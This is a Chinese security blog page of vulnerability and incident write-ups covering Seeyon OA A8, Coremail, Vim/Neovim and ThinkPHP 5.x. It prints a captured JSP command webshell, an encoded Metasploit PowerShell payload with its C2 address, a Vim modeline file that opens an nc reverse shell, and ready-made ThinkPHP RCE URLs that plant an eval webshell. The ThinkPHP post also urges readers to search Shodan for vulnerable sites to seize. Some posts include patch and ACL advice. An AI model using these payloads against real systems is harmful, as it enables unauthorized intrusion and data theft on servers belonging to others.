about 10 results (0.02 seconds)

致远 OA A8 远程代码执行漏洞的应急报告

by LauCyun Jun 27 01:52:02 20,108 views

还有三天 HW 行动就要 Game Over,但是红队的攻击越发凶猛,各种藏着捂着的招式都使用出来了,这可不又捕获一只在野的致远 OA 系统 0dayWeary Cat FaceWeary Cat Face

0x0 溯源

根据告警信息及系统日志,发现如下图所示的木马文件:


图1 木马文件

其内容如下:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>

通过分析日志,提取出攻击者的相关操作行为,如下图所示:


图2 攻击行为

发现红队使用执行 Powershell 命令,命令如下:

pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACcASAA0AHMASQBBAEgALwBUAEUAbAAwAEMAQQA3AFYAVwBiAFcAKwBiAFMAQgBEACsAbgBFAGoANQBEADYAaQB5AEIAQwBpAE8AagBWAE8AbgBUAFMATgBWAE8AcgBBAGgAeAByAFYAVABVADIAegBzADIARwBlAGQATQBLAHgAaAA0ADIAVQBoAHMATQBRAG0AdgBmADcAMwBtADcAVQBoAFQAYQAvAHAAWABYAHYAUwBJAFMAVAAyAFoAVgA2AGUAbQBYAGwAMgBoADMAVgBPAFAAWQBaAGoASwBuAGkASgBKAFgAdwArAE8AVAA0AGEAdQBhAGsAYgBDAFYATABOAHUAMgBqAFgAaABkAG8AcQBVAE8AUwBqAEkAMQBpAHUAWgBmAGQATwBJAEwAdwBYAHAASQBXAGEASgBOADAANABjAGoARgBkAFgAbAAxADEAOABqAFIARgBsAEIAMwBtAGoAVwB2AEUAMQBDAHgARAAwAFkAcABnAGwARQBtAHkAOABLAGMAdwBEAFYARwBLAHoAagA2AHUANwBwAEQASABoAE0AOQBDADcAWQAvAEcATgBZAGwAWABMAGkAbgBGAGkAbwA3AHIAaABVAGcANABVADYAbgBQADkAdwBhAHgANQAzAEkAcwBEAFQAcwBoAG0ARQBuAGkANwA3ACsATAA4AHUASwBzAHQAVwB6AG8AOQA3AGwATABNAGsAbQAwAGkANAB5AGgAcQBPAEUAVABJAHMAcgBDAEYANQBrADcASABCAGMASgBrAHMAUQBoADkAdABJADQAaQA5AGUAcwBNAGMAWAAwADkAWABsAGoAUQBqAE4AMwBqAFcANwBBADIAZwBNAGEASQBoAGIARwBmAGkAYgBLAEUAQQBXADgASwBXAEoANQBTAG8AVgA5AFAATgB6AEEAWQBWAHMAUwBZAFQAaABLAFkAMAAvADEALwBSAFIAbABtAFYAZwBYAEYAdAB6ADAAWQByAG4AOABUAFYAcQBVAGYAagAvAGwAbABPAEUASQBOAFUAegBLAFUAQgBvAG4ATgBrAG8AZgBzAEkAZQB5AFIAcwArAGwAUABrAEcAZgAwAEgAbwBKAFcAagBaAEwATQBRADIAVwBzAGcAeABpAEQALwBFAEcAUwBUAFcAYQBFADEASQBYAGYAcwBXAE0AZABJAE8AMgBWAGQAWgArAFYAawBsADYAcgBnAFIAUwBJADUAYgBLAGQAYQBqAGoAQwAzAEUATwBZAHoAOABuADYASwBBAHAAdgBnAEMAVQAxADEANgBHAHAANgB3AC8ASgBPADcATAB5AGYASABKADgAYgBxAGkAeQByADMAZABmAGsANABWAEcAQgAwAHQAOQBtAE0ARQAyAEsAUgBSAG4ATwBHADkAMgBIAHQAQgBxAFEAdABEADgATwBLAHkATwBDADEAZwBXAGgAdQBuAE8AWgBLAFgAVAA1AGsAVgBhAGsAaQA3AHEALwA5AFkAdgBWAFgASgBnAGkAVABoADUARgBzADQATQBmAGEAWABvAEYARABXAHMAZwBaAFYANQBzAHMALwBwAG0AUQBYAHIAVABGAEYAMwBZAEsANgBFAGYAWQBxADEAawBrAHYANQBSAGUAdABDAGQAcQBIADEANgBqAEUAYgBnAEMAUgBKAEoAWQBiAHkATwA4AGkAZwBnAEsAWAA4AFkAegB4AE0AbgArAG4AcABrAGUAWQBQAGUAbABxAE8AUwBZACsAUwBsAFUAUABhAHAAUQBCAEsAaQBpAGYALwBDADIAWQBRAHgARQBrADAAYQBSAEQARgBFAEYAKwBEAG4AUABnAFgAVwAwAE4AWABFAGUAVgBkAE0AbgB2AG8AdgBMAE8ANQB5AEEAawBkAG8AaQBiAFoAWABWAGgAbABNAE4AaAA4ACsAcQBDAGoAVgB5AEMALwBMAHEAZwAwAGcAeQBYAFcAMgByAE8ANAB2ADEAUQAvAEEAcAAzAG0AQgBPAEcAUABUAGQAagBsAGIAbQBsAFgASwBhAHgAZABOAGUASgBhAGMAYgBTADMASQBPAEsAUQBlAGgAagBPADAARQBlAGQAZwBuAFAAUgBGADMAbwBZAFIAOQBwAGgAWQAyAEQAeQBxADMANABZAGgANAA2AEwAaQBGAHcAQQBzAEQAUwBBADkAUQBCAFYAbgBqADgATgB1AE0AOABTAEEARQBoAHIANwBuAGMAcwBCAEUAegBvADQAUwBnAEMARQBUADIAWgA5ADQAZwBiAGcAQQBuAHYASwBUADUAbgBqAGQAdQBnAEgAegB4AGIALwBnAHEARgBoADgAbwB5AHgATgBSAFoAZQBBAFoATwBxAGkAdQBUAFcASgBXAEYAeAB5AGMATQByAGcANQBlAEYASgBKADgASgA5AGMAUAA3ADgAdwBBAEUAUQBuAFIAVwBVAE4AcABPAHAAVQBMAEwAUwBDAGMAVABMAFgASAB2AFUAZAA1ADIASwBaAGsASAAzADQASwBZAFAAUQBqAFQAUwBPAE4ARABkAEQAYgA5AHEASABxADAARgA2ADEAZABSAHgAOQAyAEwAVQBqAFIAOQBWAGUASABUAGoAawArAFYAbwA5AHMAUwBaAG0AMABPAC8AVAAyAHkAVAAyAGIAYwA2AEgAawB6AEMAMABNAFEAdABNADQAQgA1AE0AZABHAEQARQBWAE8AUwBEACsATgB4AHIAMgA5ADMAZQAyAHIAYQAzAFkAVgByADEAYwB4AE0AdgBhAGMAVgBWAGsAdABUAHYAUgA1ACsANgAvAFMAMQB5AFEAVAAwAGMARwBkAGcAMwBlADEATQAxAGQAZQBpAFkAQgBiAGMAZAByAGIAbQBLAEoAeQBaADQASwBnAHoAQwBNAHcAQQB2AHAAbwBaAGUAcABvAHkAVgB3AEoATgBNAFQAbwBEAFcAdwB0ADEAcgBLAGkAQgBiAGYAVwBzAGQAbQB0AHUATgBpACsASgBoAGgAOQB0ADAAMQBaADcAMAB5AGQALwBUADMANwAwAGQAcgBzADMAMgA0ADMAVgBtADIARgBmAEQAWQAyAFAAdgB0AEUANgBOAC8AYgA2AEcANgA0AC8AMwAxAHcAUAB1AHYAcAArADcAdgBHADUAZABaAHYAcABXAEEAYwAvAHUAbgBGAHIATwBTAEcAYQBPAG8AawAyADEAWQAyADUANQBTAFIAbQBjAEwAbwBOAEwARwBmAFEAYgBCAHUAaABCAHUAcwBtADMAZwAwAFMAdQB3AGwAUABxADkAVgAvAG8AUAA3AGoAawBGAHcAKwBEAGcARwB1ADUAYwB6ADcARwBNADMATgBBAEIAVwBCAGEAcQBtAHEAZgBVAHUASgB2AGQAcAAyAFYAUABYADYAcgBVAGYAbgA0ADQAdQBOAE0AWQBHADEAegBkAGkAawBPADIAdQBWAEQAUAAzAGkAdAB0AGQAOAA1AHcAdwB4AFMAbQBMAFYAMABsAFgAVgBJAEgAQQBXAEkAOQBYAGQAZABwAHUAdABhAGYAegBCAGMAaQA2AHMAaQBhADcAcwBpAG8AbQB5ADIAKwBwADMAegBhADIATwArADkAdABOACsAWgAxAGMAdgAzAGsAVABOAE4AZgB0AFUAZABPAHgAVABkAHAAegBRAHcAMwB3AEYAdgAzADIAQgB2AGQAUABZAFMAOQB5AEgAZQBWADIAMwBYAFIANAAvAHIAbwA2AGIAVAA3AFMARwBYAEYASABuAFYAWgBNAFYAcwAzAFcAQgBIAGYAZgBhAHAAcQBKAFUAZgA5AG0ANgBKAEYANwBEAFcASQBHAEcAeABmAFcASwB1ADYAYwBlACsARQBhAE0ASgBuAEIAcABSAFgATQBZAG4AcgB1AGIAcwBEAHUATgBGAEEAQgBIAGMAUQBIAGQAVgA3ADMAVABkAEQAUgBjAG8ASQAzAGsAOQBNAFoAdAA5AFgAZgBLAGwARgAvAHAAMwBDAGMAVQBmADgAUwBzAEoAMgBYAEcARgBSAEcAegBWAGsAVAA4AEsAbQA5AHIAdAAyAGgAMQA3AFkANQBPAC8AZQBSAG8AVABWAFAAdgBmAGUAdgBPAEcATwBCAHMAagBVADAAZQBQAGUATQBpAGoAOQBxAEgAVQBNADMAegBVAEsAWABBAEUAVwBoAEoAMQBRAFgAZwBoAEcAbgBSAG4AbgBQAGoAMgBMAE0ATgBTAFMASgAvAHgAcABzAFUARQBvAFIAZwBkAFkASwB6AGIAYwA2AFYAeQBvAGgAcwBjAGUAYgBEAEcAOABJADAATgA4AE8AWABZAGMAMwB3AFEAawBNAFgANQArAC8ATwBKAEsARgBKADAASAA1AGEAKwArAHAAbABxADYAdQA1AG8AQQBSAGoAaQBxAGMAcABzAFkAQQAwAFkAQwBGAGQAVwBYADMAVwBsAEcAZwBsAFMAaQA3AHQAZwBJAFIALwBuAHgAWQBuAFQAZwBwAEoARwA2AHAAegBqAHMAUgB6ADAAcABwAG0ATwB3AE4AeQAvAHoANAAxAG4ASgBGAGUANQBqACsAcgA5AGsAcQBMADQAMABRAFAAdgA2AC8AWgBPAHYAcgAyAGoALwBzAC8AbABRAEcAbABmAG8AKwAzAHUAOQBXAHYAMQAzADQAcABYAFQAKwBhAHQAeABUAEYAegBNAFEAdABPAEgATwBJACsAagBRAGIAVgA4AE0AdgArAFQARgBzAHgAKwBSAGYAVQAyAGcANwB1AHYAeQA0AGIAKwBTAEgAMwBOADIAZABnAE0ALwBLAEMAZgBIAGYAdwBIADIAZwB3AHkAdABzAHcAbwBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApA

对 PowerShell 命令进行分析,确认这个是 MSF 框架生成的 Payload,其CC服务器是114.118.83.230:443。

0x1 复现

1 PoC

访问/seeyon/htmlofficeservlet,如果出现如下特征即为存在:


图3 漏洞验证

2 Exp

用 Burp 发送 POST 请求写入 WebShell,如下图所示:


图4 漏洞利用

如上图所示即为写入 Webshell 成功,访问/seeyon/index1.jsp进一步验证是否写入成功,如下图所示即为成功:


图5 访问WebShell

执行ipconfig命令,如下图所示:


图6 执行命令

最后,补充上传文件名的代码,如下:

import java.io.ByteArrayOutputStream;
import java.io.UnsupportedEncodingException;

public class Main {
    String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
    public String DecodeBase64(String paramString) {
        ByteArrayOutputStream localByteArrayOutputStream = new ByteArrayOutputStream();
        String str = "";
        byte[] arrayOfByte2 = new byte[4];
        try {
            int j = 0;
            byte[] arrayOfByte1 = paramString.getBytes();
            while (j < arrayOfByte1.length) {
                for (int i = 0; i <= 3; i++) {
                    if (j >= arrayOfByte1.length) {
                        arrayOfByte2[i] = 64;
                    } else {
                        int k = this.TableBase64.indexOf(arrayOfByte1[j]);
                        if (k < 0) {
                            k = 65;
                        }
                        arrayOfByte2[i] = ((byte) k);
                    }
                    j++;
                }
                localByteArrayOutputStream.write((byte) (((arrayOfByte2[0] & 0x3F) << 2) + ((arrayOfByte2[1] & 0x30) >> 4)));
                if (arrayOfByte2[2] != 64) {
                    localByteArrayOutputStream.write((byte) (((arrayOfByte2[1] & 0xF) << 4) + ((arrayOfByte2[2] & 0x3C) >> 2)));
                    if (arrayOfByte2[3] != 64) {
                        localByteArrayOutputStream.write((byte) (((arrayOfByte2[2] & 0x3) << 6) + (arrayOfByte2[3] & 0x3F)));
                    }
                }
            }
        } catch (StringIndexOutOfBoundsException localStringIndexOutOfBoundsException) {
            //this.FError += localStringIndexOutOfBoundsException.toString();
            System.out.println(localStringIndexOutOfBoundsException.toString());
        }
        try {
            str = localByteArrayOutputStream.toString("GB2312");
        } catch (UnsupportedEncodingException localUnsupportedEncodingException) {
            System.out.println(localUnsupportedEncodingException.toString());
        }
        return str;
    }
    public String EncodeBase64(String var1) {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        byte[] var7 = new byte[4];
        try {
            int var4 = 0;
            byte[] var6 = var1.getBytes("GB2312");
            while (var4 < var6.length) {
                byte var5 = var6[var4];
                ++var4;
                var7[0] = (byte) ((var5 & 252) >> 2);
                var7[1] = (byte) ((var5 & 3) << 4);
                if (var4 < var6.length) {
                    var5 = var6[var4];
                    ++var4;
                    var7[1] += (byte) ((var5 & 240) >> 4);
                    var7[2] = (byte) ((var5 & 15) << 2);
                    if (var4 < var6.length) {
                        var5 = var6[var4];
                        ++var4;
                        var7[2] = (byte) (var7[2] + ((var5 & 192) >> 6));
                        var7[3] = (byte) (var5 & 63);
                    } else {
                        var7[3] = 64;
                    }
                } else {
                    var7[2] = 64;
                    var7[3] = 64;
                }

                for (int var3 = 0; var3 <= 3; ++var3) {
                    var2.write(this.TableBase64.charAt(var7[var3]));
                }
            }
        } catch (StringIndexOutOfBoundsException var10) {
            // this.FError = this.FError + var10.toString();
            System.out.println(var10.toString());
        } catch (UnsupportedEncodingException var11) {
            System.out.println(var11.toString());
        }
        return var2.toString();
    }
    public static void main(String[] args) {
        Main m = new Main();
        System.out.println(m.DecodeBase64("qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6"));
        System.out.println(m.EncodeBase64("..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\test123456.jsp"));
    }
}

0x3 漏洞描述

致远互联是中国协同管理软件及云服务领导供应商,专注专注在协同管理软件领域。致远 A8+ 协同管理软件在很多央企、大型公司都有应用。

致远 A8+ 在某些版本上存在远程 Getshell 漏洞。系统某处在无需登录情况下可直接上传任意文件,攻击者一旦上传精心构造的后门文件即可 Getshell,获得目标服务器的权限。目前利用代码已在野外公开,官方提供的补丁程序仍然可利用。

0x4 漏洞影响

1 危害级别

  • 高危

2 影响版本

  • 致远OA A8-V5 V6.1 SP1
  • 致远OA A8+协同管理软件 V7.0
  • 致远OA A8+协同管理软件 V7.0 SP1
  • 致远OA A8+协同管理软件 V7.0 SP2
  • 致远OA A8+协同管理软件 V7.0 SP3
  • 致远OA A8+协同管理软件 V7.1

3 全球态势

据 ZoomEye 统计,在全球范围内对外开放的致远 OA 资产数多达 29,439 个,其中中国受影响的资产数量有 29,275 个,具体分布情况如下图:


图7 各省分布情况

其中大部分分布在北京、广东、四川、江苏等省,具体如下图所示:


图8 国内TOP 10

0x5 修复建议

1 配置URL访问控制策略

部署于公网的致远 A8+ 服务器,可通过 ACL 禁止外网对/seeyon/htmlofficeservlet路径的访问。

2 修改配置文件

注释Seeyon/A8/ApacheJetspeed/webapps/seeyon/WEB-INF/web.xml中的如下内容,并重启应用程序。

<servlet-mapping>
    <servlet-name>htmlofficeservlet</servlet-name>
    <url-pattern>/htmlofficeservlet</url-pattern>
</servlet-mapping>

2 官方补丁

请尽快联系致远官方,索要官方补丁程序。

厂商官网:http://www.seeyon.com/info/company.html

...

Tags Read More..


Coremail 邮件系统配置信息泄露漏洞

by LauCyun Jun 14 14:58:20 23,762 views

6月14日上午,某安全群证实 Coremail 存在 0day,攻击者通过 POC 可获取 Coremail 配置文件信息,包括配置IP、端口、文件路径、数据库密码、用户名等信息。

Coremail 产品诞生于 1999 年,经过二十多年发展,如今从亿万级别的运营系统,到几万人的大型企业,都有了 Coremail 的客户。截止2019年,Coremail 邮件系统产品在国内已拥有 10 亿终端用户  ,是目前国内拥有邮箱使用用户最多的邮件系统。Coremail 今天不但为网易(126、163、yeah)、移动,联通等知名运营商提供电子邮件整体技术解决方案及企业邮局运营服务,还为石油、钢铁、电力、政府、金融、教育、尖端制造企业等用户提供邮件系统软件和反垃圾服务。

——摘自于《百度百科》


图1 某安全群聊天记录

0x0 漏洞描述

由于 Coremail 邮件系统的 mailsms 模块的参数大小写敏感存在缺陷,使得攻击者利用该漏洞,在未授权的情况下,通过远程访问 URL 地址获知 Coremail 服务器的系统配置文件,造成数据库连接参数等系统敏感配置信息泄露。

0x1 影响范围

该漏洞的影响版本如下:

Coremail XT 3.0.1 至 XT 5.0.9 版本,XT 5.0.9a 及以上版本已修复该漏洞。

据统计,全球近 19,136 个独立 IP 使用 Coremail,其中归属中国大陆地区的受影响资产数量为 17,235 个,具体数据如下图:


图2 Coremail资产统计

0x2 漏洞细节

POC:/mailsms/s?func=ADMIN:appState&dumpConfig=/

通过域名或者 IP 等地址 + POC 即可获取目标邮件服务器配置文件,配置文件包括:文件路径、IP、端口、数据库用户、密码等敏感信息。


图3 poc执行结果

0x3 修复建议

Coremail 论客公司已发布补丁进行修复,针对 Coremail XT5 和 Coremail XT3/CM5 版本,补丁编号为 CMXT5-2019-0002 ,程序版本 1.1.0-alphabuild20190524(3813d273) 。

如已安装的程序包的版本号日期早于 20190524,建议用户及时更新补丁:用户可以在 Coremail 云服务中心的补丁管理模块,根据补丁编号下载并按照操作指引进行手动更新。

如有疑问,也可通过 400-888-2488 或 surport@coremail.cn 联系厂商售后人员提供协助。

临时修补方法如下:

  1. 在不影响使用的情况下,仅允许 VPN 连接后才可访问;
  2. 在 Web 服务器(nginx/apache)上限制外网对/mailsms路径的访问。

建议使用 Coremail 构建邮件服务器的信息系统运营者立即自查,发现存在漏洞后及时修复。

...

Tags Read More..


文本编辑器 Vim/Neovim 任意代码执行漏洞应急报告

by LauCyun Jun 6 14:24:12 8,647 views

继 Notepad 被曝不明 0day 漏洞后,Vim/Neovim 也被爆任意代码执行漏洞,安全研究员 Arminius 在 Twitter 上公开了该漏洞的 PoC 和详情。


图1 推文

0x0 漏洞描述

通过打开特意构造的文本文件,就能导致 Vim 和 Neovim 易受经由模式行的任意代码执行攻击。

漏洞编号:

  • CVE-2019-12735

影响版本:

  • Vim < 8.1.1365
  • Neovim < 0.3.6

0x1 漏洞复现

1 复现环境

具体的复现环境如下:

  • 靶机:
    • 系统:Ubuntu 16.04
    • IP:192.168.201.170
    • Vim版本:7.4.1689
  • 攻击机:
    • 系统:Kali Linux
    • IP:192.168.201.102

2 PoC

首先,创建文件 poc.txt,其内容如下:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

确保模式行选项未被禁用(:set modeline)

然后,用 Vim 打开该文件:

$ vim poc.txt

在打开文件时,系统将执行uname –a命令,过程如下图所示:


图2 执行命令

3 反弹shell

该 PoC 说明的是真实的攻击方式,当用户打开该文件时就会反弹 Shell。为了隐藏该攻击,在打开文件时,文件会被立即覆写。另外,当内容以 cat 打印时,该 PoC 使用终端逃逸序列来隐藏模式行。

首先,创建文件 shell.txt,其内容如下:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.201.102 9999 -t -e /bin/bash &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

不建议创建 shell.txt,建议直接下载 shell.txt ,然后根据需求进行修改。

然后,用 Vim 打开该文件即可,其过程如下图所示:


图3 反弹Shell

至于其它玩法在这就不演示。

0x2 漏洞细节

该模式行特征允许在文件的开头或结尾指定自定义编辑器选项。该特征默认启用并适用于所有文件类型,包括单纯的.txt。模式行一般如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全原因考虑,模式行中仅允许选项子集,如果该选项的值中包含一个表达式,那么就会在沙箱中执行:

出于安全考虑(有人可能会创建具有模式行的木马文本文件),仅支持set命令。并非能够设置所有的选项。对于某些选项而言,仅设置了一个标志,因此当使用时,沙箱就奏效了。

沙箱的作用是阻止副作用:

“foldexpr”、“formatexpr”、“includeexpr”、“indentexpr”、“statusline”和“foldtext”选项可能会在沙箱中得以评估。这意味着你不会遭受具有恶意副作用的表达式的影响。这就确保了当这些选项从模式行设置时的安全性。

然而,:source!命令可用于绕过沙箱。它从既定文件中读取并执行命令,如同当手动输入时,在沙箱被丢掉时运行它们。

:so[urce]!(file){file}中读取 vim 命令。这些命令以正常模式执行,就像你输入那样。

因此,可以轻松地构建在沙箱外运行代码的模式行:

# vim: set foldexpr=execute('\:source! some_file'):

另外 Neovim 需要将execute()列为黑名单的步骤:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                This function is not available in the |sandbox|.

这里可使用assert_fails() ,它也有{cmd}实参:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

如下模式行使用折叠表达式来运行source! %以执行当前文件,而它反过来将uname –a ||“(garbage)”作为 shell 命令进行执行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim 独有的函数nvim_input()易受同样方式的影响,例如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

0x3 漏洞补丁

除了打补丁外,建议禁用 vimrc 中的模式行 (set nomodeline),使用 securemodelines 插件或禁用 modelineexpr(补丁 8.1.1366 后,Vim-only)来禁用模式行中的表达式。

0x4 参考

...

Tags Read More..


ThinkPHP 5.x 远程命令执行漏洞利用过程

by Liuker Dec 20,2018 14:28:02 24,810 views

0x0 背景

2018 年 12 月 9 日,ThinkPHP 官方公众号发布了一个更新通知,包含了一个 5.x 系列(v5.0.23 及 v5.1.31 以下版本)所有版本存在被 GetShell 的高风险漏洞。


图1 更新公告

影响版本

  • ThinkPHP 5.0.5 - 5.0.22
  • ThinkPHP 5.1.0 - 5.1.30

ThinkPHP 5.x 版本中没有对路由中的控制器进行严格过滤,在存在adminindex模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,从而被 GetShell。

至于漏洞原理,可参考@水泡泡的分析https://xz.aliyun.com/t/3570

0x2 环境

漏洞环境:https://git.laucyun.com/docker/thinkphp-5.x-poc.git

先将项目克隆下来,然后进入thinkphp-5.x-poc目录,执行docker-compose up -d命令,如图2所示:


图2 漏洞环境

0x03 利用

发现在thinkphp\library\think\App.phpinvokeFunction方法(继承thinkphp\library\think\Container.phpContainer类)中可以执行任意的命令,而这个方法的声明为:

invokeFunction(function, vars[])

所以,构造的 Payload 如下:

http://192.168.20.103/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=ls%20-al

即执行call_user_func_array("system", ['ls -al'])

执行结果如图3所示:


图3 列举目录下所有文件

成功执行了系统命令,那接下来就尝试写入 WebShell。

发现在thinkphp\library\think\template\driver\file.php中的write方法可以写入任意内容,而这个方法的声明为:

write($cacheFile, $content)

参数:

  • cacheFile:文件名
  • content:文件内容

所以,构造的Payload如下:

http://192.168.20.103/public/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=shell.php&content=%3C?php%20@eval($_POST%5B'caidao'%5D);?%3E

invokeFunction方法也可写入webshell:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

执行结果如图4所示:


图4 写入WebShell

呐呢,没返回?难道写入 WebShell 失败了?查看一下文件变化吧,如图5所示:


图5 成功写入webshell

操起菜刀,搞起来。。。


图6 菜刀连接成功

接下来的事情,就无需多说了,想怎么浪就怎么浪。。。

0x4 Payload

通用 Payload:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

http://127.0.0.1/public/index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D= file_put_contents&vars%5B1%5D%5B%5D=echo%20%22%3C?php%20@eval(%5C$_POST%5B'caidao'%5D);?%20%3E%20%22%3Eshell.php

ThinkPHP v5.1.x:

http://127.0.0.1/public/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write?cacheFile=shell.php&content=%3C?php%20@eval($_POST%5B'caidao'%5D);?%3E

最后,告诉大家一个小秘密哦,在 Shodan 或 ZoomEye 上搜fastadmin(基于 ThinkPHP 5)的框架,可以找到大量ShellShushing FaceShushing FaceShushing Face

0x5 参考

...

Tags Read More..


罗克韦尔Allen-Bradley MicroLogix 1400系列PLC漏洞的复现及解决方案

by LauCyun Aug 22,2018 15:53:48 11,044 views

2018年3月,思科Talos安全研究团队发文指出罗克韦尔自动化公司的 Allen-Bradley MicroLogix 1400 系列可编程逻辑控制器(PLC)中存在多项严重安全漏洞,这些漏洞可用来发起拒绝服务攻击、篡改设备的配置和梯形逻辑、写入或删除内存模块上的数据等。

0x0 背景

先介绍一下,Allen-Bradley MicroLogix 1400 是个神马玩意儿?

Allen-Bradley MicroLogix 1400控制器是 MicroLogix 系列新的产品线,带有内置的模拟量输入、以太网通讯、更快的高速计数器、可调脉冲输出,专为扩展应用范围而设计,目前被广泛应用与关键基础设施、食品生产加工行业、农业及水处理等行业的工业控制现场,用于控制电机、阀门等工业设备。其外观如图1所示:


图1 AB-MicroLogix 1400系列PLC

至于详细介绍请参考:https://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

而思科 Talos 安全研究团队公布的安全漏洞有如下表:

CVE编号 CNVD编号 漏洞名称 影响的设备 CVSSv3
CVE-2017-12088 CNVD-2018-07012 以太网卡特制数据包拒绝服务漏洞 Allen Bradley Micrologix 1400 Series B FRN 21.2及以下版本 8.6
CVE-2017-12089 CNVD-2018-07297 梯形图逻辑程序下载设备故障拒绝服务漏洞 8.6
CVE-2017-12090 CNVD-2018-07294 SNMP集处理异常行为顺序拒绝服务漏洞 7.7
CVE-2017-12092 CNVD-2018-07286 内存模块存储程序文件写入漏洞 3.7
CVE-2017-12093 CNVD-2018-07285 资源池拒绝服务漏洞 5.3
CVE-2017-14462
-
CVE-2017-14473
CNVD-2018-07275
-
CNVD-2018-07286
访问控制漏洞 10.0

为此,本文将介绍漏洞 CNVD-2018-07012 的复现及防御措施。

0x1 漏洞描述

